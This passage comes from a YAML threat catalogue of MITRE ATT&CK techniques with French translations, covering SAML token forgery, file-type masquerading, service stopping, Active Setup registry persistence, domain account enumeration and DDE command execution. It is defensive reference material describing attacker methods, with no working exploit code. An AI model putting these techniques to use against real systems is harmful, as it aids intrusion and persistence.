      \ network traffic. This poses a greater risk of unauthorized disclosure and\
      \ may help facilitate data manipulation, Credential Access, or Collection efforts.\
      \ (Citation: Cisco Blog Legacy Device Attacks)\nhttps://attack.mitre.org/techniques/T1600"
    translations:
      fr:
        name: Affaiblir le chiffrement
        description: "Les adversaires peuvent compromettre la capacit\xE9 de chiffrement\
          \ d\u2019un p\xE9riph\xE9rique r\xE9seau afin de contourner le chiffrement\
          \ qui prot\xE9gerait autrement les communications de donn\xE9es. (Citation\
          \ : Cisco Synful Knock Evolution)\n\nLe chiffrement peut \xEAtre utilis\xE9\
          \ pour prot\xE9ger le trafic r\xE9seau transmis afin de pr\xE9server sa\
          \ confidentialit\xE9 (protection contre la divulgation non autoris\xE9e)\
          \ et son int\xE9grit\xE9 (protection contre les modifications non autoris\xE9\
          es). Les chiffrements de chiffrement sont utilis\xE9s pour convertir un\
          \ message en texte brut en texte chiffr\xE9 et peuvent n\xE9cessiter beaucoup\
          \ de calcul pour \xEAtre d\xE9chiffr\xE9s sans la cl\xE9 de d\xE9chiffrement\
          \ associ\xE9e. En r\xE8gle g\xE9n\xE9rale, les cl\xE9s plus longues augmentent\
          \ le co\xFBt de la cryptanalyse, ou du d\xE9chiffrement sans la cl\xE9.\n\
          \nLes adversaires peuvent compromettre et manipuler les appareils qui effectuent\
          \ le chiffrement du trafic r\xE9seau. Par exemple, par le biais de comportements\
          \ tels que [Modifier l\u2019image syst\xE8me](https://attack.mitre.org/techniques/T1601),\
          \ [R\xE9duire l\u2019espace cl\xE9](https://attack.mitre.org/techniques/T1600/001)\
          \ et [D\xE9sactiver le mat\xE9riel cryptographique](https://attack.mitre.org/techniques/T1600/002),\
          \ un adversaire peut affecter n\xE9gativement et/ou \xE9liminer la capacit\xE9\
          \ d\u2019un appareil \xE0 chiffrer en toute s\xE9curit\xE9 le trafic r\xE9\
          seau. Cela pr\xE9sente un risque accru de divulgation non autoris\xE9e et\
          \ peut faciliter la manipulation des donn\xE9es, l\u2019acc\xE8s aux identifiants\
          \ ou les efforts de collecte. (Citation : Blog Cisco Legacy Device Attacks)\n\
          https://attack.mitre.org/techniques/T1600"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1606.002
    ref_id: T1606.002
    name: SAML Tokens
    description: 'An adversary may forge SAML tokens with any permissions claims and
      lifetimes if they possess a valid SAML token-signing certificate.(Citation:
      Microsoft SolarWinds Steps) The default lifetime of a SAML token is one hour,
      but the validity period can be specified in the <code>NotOnOrAfter</code> value
      of the <code>conditions ...</code> element in a token. This value can be changed
      using the <code>AccessTokenLifetime</code> in a <code>LifetimeTokenPolicy</code>.(Citation:
      Microsoft SAML Token Lifetimes) Forged SAML tokens enable adversaries to authenticate
      across services that use SAML 2.0 as an SSO (single sign-on) mechanism.(Citation:
      Cyberark Golden SAML)


      An adversary may utilize [Private Keys](https://attack.mitre.org/techniques/T1552/004)
      to compromise an organization''s token-signing certificate to create forged
      SAML tokens. If the adversary has sufficient permissions to establish a new
      federation trust with their own Active Directory Federation Services (AD FS)
      server, they may instead generate their own trusted token-signing certificate.(Citation:
      Microsoft SolarWinds Customer Guidance) This differs from [Steal Application
      Access Token](https://attack.mitre.org/techniques/T1528) and other similar behaviors
      in that the tokens are new and forged by the adversary, rather than stolen or
      intercepted from legitimate users.


      An adversary may gain administrative Entra ID privileges if a SAML token is
      forged which claims to represent a highly privileged account. This may lead
      to [Use Alternate Authentication Material](https://attack.mitre.org/techniques/T1550),
      which may bypass multi-factor and other authentication protection mechanisms.(Citation:
      Microsoft SolarWinds Customer Guidance)

      https://attack.mitre.org/techniques/T1606/002'
    translations:
      fr:
        name: Jetons SAML
        description: "Un adversaire peut falsifier des jetons SAML avec toutes les\
          \ autorisations, revendications et dur\xE9es de vie s\u2019il poss\xE8de\
          \ un certificat de signature de jeton SAML valide. (Citation : \xC9tapes\
          \ de Microsoft SolarWinds) La dur\xE9e de vie par d\xE9faut d\u2019un jeton\
          \ SAML est d\u2019une heure, mais la p\xE9riode de validit\xE9 peut \xEA\
          tre sp\xE9cifi\xE9e dans la valeur <code>NotOnOrAfter</code> de l\u2019\xE9\
          l\xE9ment <code>conditions ...</code> d\u2019un jeton. Cette valeur peut\
          \ \xEAtre modifi\xE9e \xE0 l\u2019aide de <code>AccessTokenLifetime</code>\
          \ dans une <code>LifetimeTokenPolicy</code>. (Citation : Dur\xE9e de vie\
          \ des jetons SAML Microsoft) Les jetons SAML falsifi\xE9s permettent aux\
          \ adversaires de s\u2019authentifier sur les services qui utilisent SAML\
          \ 2.0 comme m\xE9canisme d\u2019authentification unique (SSO). (Citation\
          \ : Cyberark Golden SAML)\n\nUn adversaire peut utiliser des [cl\xE9s priv\xE9\
          es](https://attack.mitre.org/techniques/T1552/004) pour compromettre le\
          \ certificat de signature de jeton d\u2019une organisation afin de cr\xE9\
          er des jetons SAML falsifi\xE9s. Si l\u2019adversaire dispose des autorisations\
          \ suffisantes pour \xE9tablir une nouvelle approbation de f\xE9d\xE9ration\
          \ avec son propre serveur AD FS (Active Directory Federation Services),\
          \ il peut g\xE9n\xE9rer son propre certificat de signature de jeton approuv\xE9\
          . (Citation : Guide client de Microsoft SolarWinds) Cela diff\xE8re de [Voler\
          \ le jeton d\u2019acc\xE8s \xE0 l\u2019application](https://attack.mitre.org/techniques/T1528)\
          \ et d\u2019autres comportements similaires en ce sens que les jetons sont\
          \ nouveaux et falsifi\xE9s par l\u2019adversaire, plut\xF4t que vol\xE9\
          s ou intercept\xE9s aupr\xE8s d\u2019utilisateurs l\xE9gitimes.\n\nUn adversaire\
          \ peut obtenir des privil\xE8ges d\u2019ID Entra administratif si un jeton\
          \ SAML falsifi\xE9 qui pr\xE9tend repr\xE9senter un compte hautement privil\xE9\
          gi\xE9 est falsifi\xE9. Cela peut conduire \xE0 [Utiliser un autre mat\xE9\
          riel d\u2019authentification](https://attack.mitre.org/techniques/T1550),\
          \ qui peut contourner les m\xE9canismes de protection multifactoriels et\
          \ autres m\xE9canismes de protection contre l\u2019authentification. (Citation\
          \ : Guide client de Microsoft SolarWinds)\nhttps://attack.mitre.org/techniques/T1606/002"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1036.008
    ref_id: T1036.008
    name: Masquerade File Type
    description: "Adversaries may masquerade malicious payloads as legitimate files\
      \ through changes to the payload's formatting, including the file\u2019s signature,\
      \ extension, and contents. Various file types have a typical standard format,\
      \ including how they are encoded and organized. For example, a file\u2019s signature\
      \ (also known as header or magic bytes) is the beginning bytes of a file and\
      \ is often used to identify the file\u2019s type. For example, the header of\
      \ a JPEG file,  is <code> 0xFF 0xD8</code> and the file extension is either\
      \ `.JPE`, `.JPEG` or `.JPG`. \n\nAdversaries may edit the header\u2019s hex\
      \ code and/or the file extension of a malicious payload in order to bypass file\
      \ validation checks and/or input sanitization. This behavior is commonly used\
      \ when payload files are transferred (e.g., [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105))\
      \ and stored (e.g., [Upload Malware](https://attack.mitre.org/techniques/T1608/001))\
      \ so that adversaries may move their malware without triggering detections.\
      \ \n\nCommon non-executable file types and extensions, such as text files (`.txt`)\
      \ and image files (`.jpg`, `.gif`, etc.) may be typically treated as benign.\
      \  Based on this, adversaries may use a file extension to disguise malware,\
      \ such as naming a PHP backdoor code with a file name of <code>test.gif</code>.\
      \ A user may not know that a file is malicious due to the benign appearance\
      \ and file extension.\n\nPolygot files, which are files that have multiple different\
      \ file types and that function differently based on the application that will\
      \ execute them, may also be used to disguise malicious malware and capabilities.(Citation:\
      \ polygot_icedID)\nhttps://attack.mitre.org/techniques/T1036/008"
    translations:
      fr:
        name: Type de fichier Masquerade
        description: "Les adversaires peuvent faire passer des charges utiles malveillantes\
          \ pour des fichiers l\xE9gitimes en modifiant la mise en forme de la charge\
          \ utile, y compris la signature, l\u2019extension et le contenu du fichier.\
          \ Diff\xE9rents types de fichiers ont un format standard typique, y compris\
          \ la fa\xE7on dont ils sont encod\xE9s et organis\xE9s. Par exemple, la\
          \ signature d\u2019un fichier (\xE9galement appel\xE9e en-t\xEAte ou octets\
          \ magiques) est le premier octet d\u2019un fichier et est souvent utilis\xE9\
          e pour identifier le type de fichier. Par exemple, l\u2019en-t\xEAte d\u2019\
          un fichier JPEG est <code> 0xFF 0xD8</code> et l\u2019extension de fichier\
          \ est '. JPE', '. JPEG \xBB ou \xAB .JPG \xBB. \n\nLes adversaires peuvent\
          \ modifier le code hexad\xE9cimal de l\u2019en-t\xEAte et/ou l\u2019extension\
          \ de fichier d\u2019une charge utile malveillante afin de contourner les\
          \ v\xE9rifications de validation de fichier et/ou le nettoyage des entr\xE9\
          es. Ce comportement est couramment utilis\xE9 lorsque des fichiers de charge\
          \ utile sont transf\xE9r\xE9s (par exemple, [Transfert d\u2019outil d\u2019\
          entr\xE9e](https://attack.mitre.org/techniques/T1105)) et stock\xE9s (par\
          \ exemple, [Charger un logiciel malveillant](https://attack.mitre.org/techniques/T1608/001))\
          \ afin que les adversaires puissent d\xE9placer leurs programmes malveillants\
          \ sans d\xE9clencher de d\xE9tections. \n\nLes types et extensions de fichiers\
          \ non ex\xE9cutables courants, tels que les fichiers texte (.txt  et les\
          \ fichiers image (.jpg .gif, etc.) peuvent g\xE9n\xE9ralement \xEAtre trait\xE9\
          s comme inoffensifs.  Sur cette base, les adversaires peuvent utiliser une\
          \ extension de fichier pour dissimuler des logiciels malveillants, par exemple\
          \ en nommant un code de porte d\xE9rob\xE9e PHP avec un nom de fichier de\
          \ <code>test.gif</code>. Un utilisateur peut ne pas savoir qu\u2019un fichier\
          \ est malveillant en raison de son apparence b\xE9nigne et de son extension.\n\
          \nLes fichiers polygots, c\u2019est-\xE0-dire des fichiers qui ont plusieurs\
          \ types de fichiers diff\xE9rents et qui fonctionnent diff\xE9remment en\
          \ fonction de l\u2019application qui les ex\xE9cutera, peuvent \xE9galement\
          \ \xEAtre utilis\xE9s pour dissimuler des logiciels malveillants et des\
          \ capacit\xE9s malveillantes. (R\xE9f\xE9rence : polygot_icedID)\nhttps://attack.mitre.org/techniques/T1036/008"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1489
    ref_id: T1489
    name: Service Stop
    description: "Adversaries may stop or disable services on a system to render those\
      \ services unavailable to legitimate users. Stopping critical services or processes\
      \ can inhibit or stop response to an incident or aid in the adversary's overall\
      \ objectives to cause damage to the environment.(Citation: Talos Olympic Destroyer\
      \ 2018)(Citation: Novetta Blockbuster) \n\nAdversaries may accomplish this by\
      \ disabling individual services of high importance to an organization, such\
      \ as <code>MSExchangeIS</code>, which will make Exchange content inaccessible.(Citation:\
      \ Novetta Blockbuster) In some cases, adversaries may stop or disable many or\
      \ all services to render systems unusable.(Citation: Talos Olympic Destroyer\
      \ 2018) Services or processes may not allow for modification of their data stores\
      \ while running. Adversaries may stop services or processes in order to conduct\
      \ [Data Destruction](https://attack.mitre.org/techniques/T1485) or [Data Encrypted\
      \ for Impact](https://attack.mitre.org/techniques/T1486) on the data stores\
      \ of services like Exchange and SQL Server.(Citation: SecureWorks WannaCry Analysis)\n\
      https://attack.mitre.org/techniques/T1489"
    translations:
      fr:
        name: "Arr\xEAt du service"
        description: "Les adversaires peuvent arr\xEAter ou d\xE9sactiver des services\
          \ sur un syst\xE8me pour rendre ces services indisponibles pour les utilisateurs\
          \ l\xE9gitimes. L\u2019arr\xEAt de services ou de processus critiques peut\
          \ inhiber ou arr\xEAter la r\xE9ponse \xE0 un incident ou contribuer aux\
          \ objectifs globaux de l\u2019adversaire de causer des dommages \xE0 l\u2019\
          environnement. (Citation : Talos Olympic Destroyer 2018)(Citation : Novetta\
          \ Blockbuster) \n\nLes adversaires peuvent y parvenir en d\xE9sactivant\
          \ des services individuels de grande importance pour une organisation, tels\
          \ que <code>MSExchangeIS,</code> ce qui rendra le contenu Exchange inaccessible.\
          \ (Citation : Novetta Blockbuster) Dans certains cas, les adversaires peuvent\
          \ arr\xEAter ou d\xE9sactiver plusieurs ou tous les services pour rendre\
          \ les syst\xE8mes inutilisables. (Citation : Talos Olympic Destroyer 2018)\
          \ Les services ou les processus peuvent ne pas permettre la modification\
          \ de leurs magasins de donn\xE9es pendant leur ex\xE9cution. Les adversaires\
          \ peuvent arr\xEAter des services ou des processus afin d\u2019effectuer\
          \ [Destruction de donn\xE9es](https://attack.mitre.org/techniques/T1485)\
          \ ou [Donn\xE9es chiffr\xE9es pour impact](https://attack.mitre.org/techniques/T1486)\
          \ sur les magasins de donn\xE9es de services tels qu\u2019Exchange et SQL\
          \ Server. (Citation : Analyse WannaCry de SecureWorks)\nhttps://attack.mitre.org/techniques/T1489"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1587.001
    ref_id: T1587.001
    name: Malware
    description: 'Adversaries may develop malware and malware components that can
      be used during targeting. Building malicious software can include the development
      of payloads, droppers, post-compromise tools, backdoors (including backdoored
      images), packers, C2 protocols, and the creation of infected removable media.
      Adversaries may develop malware to support their operations, creating a means
      for maintaining control of remote machines, evading defenses, and executing
      post-compromise behaviors.(Citation: Mandiant APT1)(Citation: Kaspersky Sofacy)(Citation:
      ActiveMalwareEnergy)(Citation: FBI Flash FIN7 USB)


      As with legitimate development efforts, different skill sets may be required
      for developing malware. The skills needed may be located in-house, or may need
      to be contracted out. Use of a contractor may be considered an extension of
      that adversary''s malware development capabilities, provided the adversary plays
      a role in shaping requirements and maintains a degree of exclusivity to the
      malware.


      Some aspects of malware development, such as C2 protocol development, may require
      adversaries to obtain additional infrastructure. For example, malware developed
      that will communicate with Twitter for C2, may require use of [Web Services](https://attack.mitre.org/techniques/T1583/006).(Citation:
      FireEye APT29)

      https://attack.mitre.org/techniques/T1587/001'
    translations:
      fr:
        name: Malware
        description: "Les adversaires peuvent d\xE9velopper des logiciels malveillants\
          \ et des composants de logiciels malveillants qui peuvent \xEAtre utilis\xE9\
          s lors du ciblage. La cr\xE9ation de logiciels malveillants peut inclure\
          \ le d\xE9veloppement de charges utiles, de droppers, d\u2019outils de post-compromission,\
          \ de portes d\xE9rob\xE9es (y compris des images de porte d\xE9rob\xE9e),\
          \ de packers, de protocoles C2 et la cr\xE9ation de supports amovibles infect\xE9\
          s. Les adversaires peuvent d\xE9velopper des logiciels malveillants pour\
          \ soutenir leurs op\xE9rations, cr\xE9ant ainsi un moyen de garder le contr\xF4\
          le des machines distantes, d\u2019\xE9chapper aux d\xE9fenses et d\u2019\
          ex\xE9cuter des comportements post-compromission. (R\xE9f\xE9rence : Mandiant\
          \ APT1)(R\xE9f\xE9rence : Kaspersky Sofacy)(Citation : ActiveMalwareEnergy)(Citation\
          \ : FBI Flash FIN7 USB)\n\nComme pour les efforts de d\xE9veloppement l\xE9\
          gitimes, diff\xE9rents ensembles de comp\xE9tences peuvent \xEAtre n\xE9\
          cessaires pour d\xE9velopper des logiciels malveillants. Les comp\xE9tences\
          \ n\xE9cessaires peuvent \xEAtre acquises \xE0 l\u2019interne ou faire l\u2019\
          objet d\u2019une sous-traitance. Le recours \xE0 un sous-traitant peut \xEA\
          tre consid\xE9r\xE9 comme une extension des capacit\xE9s de d\xE9veloppement\
          \ de logiciels malveillants de cet adversaire, \xE0 condition que l\u2019\
          adversaire joue un r\xF4le dans l\u2019\xE9laboration des exigences et maintienne\
          \ un certain degr\xE9 d\u2019exclusivit\xE9 sur le logiciel malveillant.\n\
          \nCertains aspects du d\xE9veloppement de logiciels malveillants, tels que\
          \ le d\xE9veloppement du protocole C2, peuvent n\xE9cessiter que les adversaires\
          \ obtiennent une infrastructure suppl\xE9mentaire. Par exemple, les logiciels\
          \ malveillants d\xE9velopp\xE9s qui communiqueront avec Twitter pour C2\
          \ peuvent n\xE9cessiter l\u2019utilisation de [Services Web](https://attack.mitre.org/techniques/T1583/006).\
          \ (R\xE9f\xE9rence : FireEye APT29)\nhttps://attack.mitre.org/techniques/T1587/001"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1652
    ref_id: T1652
    name: Device Driver Discovery
    description: 'Adversaries may attempt to enumerate local device drivers on a victim
      host. Information about device drivers may highlight various insights that shape
      follow-on behaviors, such as the function/purpose of the host, present security
      tools (i.e. [Security Software Discovery](https://attack.mitre.org/techniques/T1518/001))
      or other defenses (e.g., [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497)),
      as well as potential exploitable vulnerabilities (e.g., [Exploitation for Privilege
      Escalation](https://attack.mitre.org/techniques/T1068)).


      Many OS utilities may provide information about local device drivers, such as
      `driverquery.exe` and the `EnumDeviceDrivers()` API function on Windows.(Citation:
      Microsoft Driverquery)(Citation: Microsoft EnumDeviceDrivers) Information about
      device drivers (as well as associated services, i.e., [System Service Discovery](https://attack.mitre.org/techniques/T1007))
      may also be available in the Registry.(Citation: Microsoft Registry Drivers)


      On Linux/macOS, device drivers (in the form of kernel modules) may be visible
      within `/dev` or using utilities such as `lsmod` and `modinfo`.(Citation: Linux
      Kernel Programming)(Citation: lsmod man)(Citation: modinfo man)

      https://attack.mitre.org/techniques/T1652'
    translations:
      fr:
        name: "D\xE9couverte du pilote de p\xE9riph\xE9rique"
        description: "Les adversaires peuvent tenter d\u2019\xE9num\xE9rer les pilotes\
          \ de p\xE9riph\xE9riques locaux sur un h\xF4te victime. Les informations\
          \ sur les pilotes de p\xE9riph\xE9riques peuvent mettre en \xE9vidence diverses\
          \ informations qui fa\xE7onnent les comportements ult\xE9rieurs, tels que\
          \ la fonction/l\u2019objectif de l\u2019h\xF4te, les outils de s\xE9curit\xE9\
          \ actuels (par exemple, [Security Software Discovery](https://attack.mitre.org/techniques/T1518/001))\
          \ ou d\u2019autres d\xE9fenses (par exemple, [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497)),\
          \ ainsi que les vuln\xE9rabilit\xE9s potentiellement exploitables (par exemple,\
          \ [Exploitation pour l\u2019\xE9l\xE9vation de privil\xE8ges](https://attack.mitre.org/techniques/T1068)).\n\
          \nDe nombreux utilitaires de syst\xE8me d\u2019exploitation peuvent fournir\
          \ des informations sur les pilotes de p\xE9riph\xE9riques locaux, tels que\
          \ driverquery.exe et la fonction API \xAB EnumDeviceDrivers() \xBB sous\
          \ Windows. (Citation : Microsoft Driverquery)(Citation : Microsoft EnumDeviceDrivers)\
          \ Des informations sur les pilotes de p\xE9riph\xE9riques (ainsi que sur\
          \ les services associ\xE9s, c\u2019est-\xE0-dire [System Service Discovery](https://attack.mitre.org/techniques/T1007))\
          \ peuvent \xE9galement \xEAtre disponibles dans le registre. (Citation :\
          \ Pilotes de registre Microsoft)\n\nSous Linux/macOS, les pilotes de p\xE9\
          riph\xE9riques (sous la forme de modules du noyau) peuvent \xEAtre visibles\
          \ dans '/dev' ou \xE0 l\u2019aide d\u2019utilitaires tels que 'lsmod' et\
          \ 'modinfo'. (Citation : Programmation du noyau Linux)(Citation : lsmod\
          \ man)(Citation : modinfo man)\nhttps://attack.mitre.org/techniques/T1652"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1087.002
    ref_id: T1087.002
    name: Domain Account
    description: 'Adversaries may attempt to get a listing of domain accounts. This
      information can help adversaries determine which domain accounts exist to aid
      in follow-on behavior such as targeting specific accounts which possess particular
      privileges.


      Commands such as <code>net user /domain</code> and <code>net group /domain</code>
      of the [Net](https://attack.mitre.org/software/S0039) utility, <code>dscacheutil
      -q group</code> on macOS, and <code>ldapsearch</code> on Linux can list domain
      users and groups. [PowerShell](https://attack.mitre.org/techniques/T1059/001)
      cmdlets including <code>Get-ADUser</code> and <code>Get-ADGroupMember</code>
      may enumerate members of Active Directory groups.(Citation: CrowdStrike StellarParticle
      January 2022)

      https://attack.mitre.org/techniques/T1087/002'
    translations:
      fr:
        name: Compte de domaine
        description: "Les adversaires peuvent tenter d\u2019obtenir une liste de comptes\
          \ de domaine. Ces informations peuvent aider les adversaires \xE0 d\xE9\
          terminer quels comptes de domaine existent pour faciliter les comportements\
          \ de suivi, tels que le ciblage de comptes sp\xE9cifiques poss\xE9dant des\
          \ privil\xE8ges particuliers.\n\nDes commandes telles que <code>net user\
          \ /domain</code> et <code>net group /domain</code> de l\u2019utilitaire\
          \ [Net](https://attack.mitre.org/software/S0039), <code>dscacheutil -q group</code>\
          \ sur macOS et <code>ldapsearch</code> sur Linux peuvent r\xE9pertorier\
          \ les utilisateurs et les groupes de domaine. [PowerShell](https://attack.mitre.org/techniques/T1059/001)\
          \ les applets de commande, y compris <code>Get-ADUser</code> et <code>Get-ADGroupMember</code>,\
          \ peuvent \xE9num\xE9rer les membres de groupes Active Directory. (Citation\
          \ : CrowdStrike StellarParticle, janvier 2022)\nhttps://attack.mitre.org/techniques/T1087/002"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1547.014
    ref_id: T1547.014
    name: Active Setup
    description: 'Adversaries may achieve persistence by adding a Registry key to
      the Active Setup of the local machine. Active Setup is a Windows mechanism that
      is used to execute programs when a user logs in. The value stored in the Registry
      key will be executed after a user logs into the computer.(Citation: Klein Active
      Setup 2010) These programs will be executed under the context of the user and
      will have the account''s associated permissions level.


      Adversaries may abuse Active Setup by creating a key under <code> HKLM\SOFTWARE\Microsoft\Active
      Setup\Installed Components\</code> and setting a malicious value for <code>StubPath</code>.
      This value will serve as the program that will be executed when a user logs
      into the computer.(Citation: Mandiant Glyer APT 2010)(Citation: Citizenlab Packrat
      2015)(Citation: FireEye CFR Watering Hole 2012)(Citation: SECURELIST Bright
      Star 2015)(Citation: paloalto Tropic Trooper 2016)


      Adversaries can abuse these components to execute malware, such as remote access
      tools, to maintain persistence through system reboots. Adversaries may also
      use [Masquerading](https://attack.mitre.org/techniques/T1036) to make the Registry
      entries look as if they are associated with legitimate programs.

      https://attack.mitre.org/techniques/T1547/014'
    translations:
      fr:
        name: Configuration active
        description: "Les adversaires peuvent obtenir la persistance en ajoutant une\
          \ cl\xE9 de registre \xE0 l\u2019installation active de l\u2019ordinateur\
          \ local. L\u2019installation active est un m\xE9canisme Windows qui est\
          \ utilis\xE9 pour ex\xE9cuter des programmes lorsqu\u2019un utilisateur\
          \ se connecte. La valeur stock\xE9e dans la cl\xE9 de registre sera ex\xE9\
          cut\xE9e une fois qu\u2019un utilisateur s\u2019est connect\xE9 \xE0 l\u2019\
          ordinateur. (Citation : Klein Active Setup 2010) Ces programmes seront ex\xE9\
          cut\xE9s dans le contexte de l\u2019utilisateur et disposeront du niveau\
          \ d\u2019autorisations associ\xE9 au compte.\n\nLes adversaires peuvent\
          \ abuser du programme d\u2019installation active en cr\xE9ant une cl\xE9\
          \ sous <code> HKLM\\SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\\
          </code> et en d\xE9finissant une valeur malveillante pour <code>StubPath</code>.\
          \ Cette valeur servira de programme qui sera ex\xE9cut\xE9 lorsqu\u2019\
          un utilisateur se connectera \xE0 l\u2019ordinateur. (R\xE9f\xE9rence :\
          \ Mandiant Glyer APT 2010)(Citation : Citizenlab Packrat 2015)(Citation\
          \ : FireEye CFR Watering Hole 2012)(Citation : SECURELIST Bright Star 2015)(Citation\
          \ : paloalto Tropic Trooper 2016)\n\nLes adversaires peuvent abuser de ces\
          \ composants pour ex\xE9cuter des logiciels malveillants, tels que des outils\
          \ d\u2019acc\xE8s \xE0 distance, afin de maintenir la persistance lors des\
          \ red\xE9marrages du syst\xE8me. Les adversaires peuvent \xE9galement utiliser\
          \ [Mascarade](https://attack.mitre.org/techniques/T1036) pour donner l\u2019\
          impression que les entr\xE9es du Registre sont associ\xE9es \xE0 des programmes\
          \ l\xE9gitimes.\nhttps://attack.mitre.org/techniques/T1547/014"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1564
    ref_id: T1564
    name: Hide Artifacts
    description: 'Adversaries may attempt to hide artifacts associated with their
      behaviors to evade detection. Operating systems may have features to hide various
      artifacts, such as important system files and administrative task execution,
      to avoid disrupting user work environments and prevent users from changing files
      or features on the system. Adversaries may abuse these features to hide artifacts
      such as files, directories, user accounts, or other system activity to evade
      detection.(Citation: Sofacy Komplex Trojan)(Citation: Cybereason OSX Pirrit)(Citation:
      MalwareBytes ADS July 2015)


      Adversaries may also attempt to hide artifacts associated with malicious behavior
      by creating computing regions that are isolated from common security instrumentation,
      such as through the use of virtualization technology.(Citation: Sophos Ragnar
      May 2020)

      https://attack.mitre.org/techniques/T1564'
    translations:
      fr:
        name: Masquer les artefacts
        description: "Les adversaires peuvent tenter de cacher des artefacts associ\xE9\
          s \xE0 leurs comportements pour \xE9chapper \xE0 la d\xE9tection. Les syst\xE8\
          mes d\u2019exploitation peuvent avoir des fonctionnalit\xE9s permettant\
          \ de masquer divers artefacts, tels que des fichiers syst\xE8me importants\
          \ et l\u2019ex\xE9cution de t\xE2ches administratives, afin d\u2019\xE9\
          viter de perturber l\u2019environnement de travail des utilisateurs et d\u2019\
          emp\xEAcher les utilisateurs de modifier les fichiers ou les fonctionnalit\xE9\
          s du syst\xE8me. Les adversaires peuvent abuser de ces fonctionnalit\xE9\
          s pour masquer des artefacts tels que des fichiers, des r\xE9pertoires,\
          \ des comptes d\u2019utilisateurs ou d\u2019autres activit\xE9s du syst\xE8\
          me afin d\u2019\xE9chapper \xE0 la d\xE9tection. (Citation : Sofacy Komplex\
          \ Trojan)(Citation : Cybereason OSX Pirrit)(Citation : MalwareBytes ADS\
          \ juillet 2015)\n\nLes adversaires peuvent \xE9galement tenter de masquer\
          \ des artefacts associ\xE9s \xE0 un comportement malveillant en cr\xE9ant\
          \ des r\xE9gions informatiques isol\xE9es des instruments de s\xE9curit\xE9\
          \ courants, par exemple en utilisant la technologie de virtualisation. (Citation\
          \ : Sophos Ragnar mai 2020)\nhttps://attack.mitre.org/techniques/T1564"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1559.002
    ref_id: T1559.002
    name: Dynamic Data Exchange
    description: 'Adversaries may use Windows Dynamic Data Exchange (DDE) to execute
      arbitrary commands. DDE is a client-server protocol for one-time and/or continuous
      inter-process communication (IPC) between applications. Once a link is established,
      applications can autonomously exchange transactions consisting of strings, warm
      data links (notifications when a data item changes), hot data links (duplications
      of changes to a data item), and requests for command execution.


      Object Linking and Embedding (OLE), or the ability to link data between documents,
      was originally implemented through DDE. Despite being superseded by [Component
      Object Model](https://attack.mitre.org/techniques/T1559/001), DDE may be enabled
      in Windows 10 and most of Microsoft Office 2016 via Registry keys.(Citation:
      BleepingComputer DDE Disabled in Word Dec 2017)(Citation: Microsoft ADV170021
      Dec 2017)(Citation: Microsoft DDE Advisory Nov 2017)


      Microsoft Office documents can be poisoned with DDE commands, directly or through
      embedded files, and used to deliver execution via [Phishing](https://attack.mitre.org/techniques/T1566)
      campaigns or hosted Web content, avoiding the use of Visual Basic for Applications
      (VBA) macros.(Citation: SensePost PS DDE May 2016)(Citation: Kettle CSV DDE
      Aug 2014)(Citation: Enigma Reviving DDE Jan 2018)(Citation: SensePost MacroLess
      DDE Oct 2017) Similarly, adversaries may infect payloads to execute applications
      and/or commands on a victim device by way of embedding DDE formulas within a
      CSV file intended to be opened through a Windows spreadsheet program.(Citation:
      OWASP CSV Injection)(Citation: CSV Excel Macro Injection )


      DDE could also be leveraged by an adversary operating on a compromised machine
      who does not have direct access to a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059).
      DDE execution can be invoked remotely via [Remote Services](https://attack.mitre.org/techniques/T1021)
      such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003)
      (DCOM).(Citation: Fireeye Hunting COM June 2019)

      https://attack.mitre.org/techniques/T1559/002'
    translations:
      fr:
        name: "\xC9change de donn\xE9es dynamique"
        description: "Les adversaires peuvent utiliser Windows Dynamic Data Exchange\
          \ (DDE) pour ex\xE9cuter des commandes arbitraires. DDE est un protocole\
          \ client-serveur pour la communication inter-processus (IPC) unique et/ou\
          \ continue entre les applications. Une fois qu\u2019un lien est \xE9tabli,\
          \ les applications peuvent \xE9changer de mani\xE8re autonome des transactions\
          \ compos\xE9es de cha\xEEnes, de liens de donn\xE9es chaudes (notifications\
          \ lorsqu\u2019un \xE9l\xE9ment de donn\xE9es change), de liens de donn\xE9\
          es chaudes (duplications des modifications apport\xE9es \xE0 un \xE9l\xE9\
          ment de donn\xE9es) et de demandes d\u2019ex\xE9cution de commandes.\n\n\
          L\u2019OLE (Object Linking and Embedding), ou la capacit\xE9 de lier des\
          \ donn\xE9es entre des documents, a \xE9t\xE9 initialement mise en \u0153\
          uvre par DDE. Bien qu\u2019il ait \xE9t\xE9 remplac\xE9 par [Component Object\
          \ Model](https://attack.mitre.org/techniques/T1559/001), DDE peut \xEAtre\
          \ activ\xE9 dans Windows 10 et la plupart de Microsoft Office 2016 via des\
          \ cl\xE9s de registre. (Citation\_: BleepingComputer DDE d\xE9sactiv\xE9\
          \ dans Word d\xE9cembre 2017)(Citation : Microsoft ADV170021 d\xE9cembre\
          \ 2017)(Citation : Microsoft DDE Advisory Nov 2017)\n\nLes documents Microsoft\
          \ Office peuvent \xEAtre empoisonn\xE9s \xE0 l\u2019aide de commandes DDE,\
          \ directement ou par le biais de fichiers int\xE9gr\xE9s, et utilis\xE9\
          s pour fournir une ex\xE9cution via des campagnes de [phishing](https://attack.mitre.org/techniques/T1566)\
          \ ou du contenu Web h\xE9berg\xE9, en \xE9vitant l\u2019utilisation de macros\
          \ Visual Basic pour Applications (VBA). (Citation : SensePost PS DDE mai\
          \ 2016)(Citation\_: Bouilloire CSV DDE ao\xFBt 2014)(Citation : Enigma Reviving\
          \ DDE janvier 2018)(Citation : SensePost MacroLess DDE octobre 2017) De\
          \ m\xEAme, les adversaires peuvent infecter des charges utiles pour ex\xE9\
          cuter des applications et/ou des commandes sur un appareil victime en int\xE9\
          grant des formules DDE dans un fichier CSV destin\xE9 \xE0 \xEAtre ouvert\
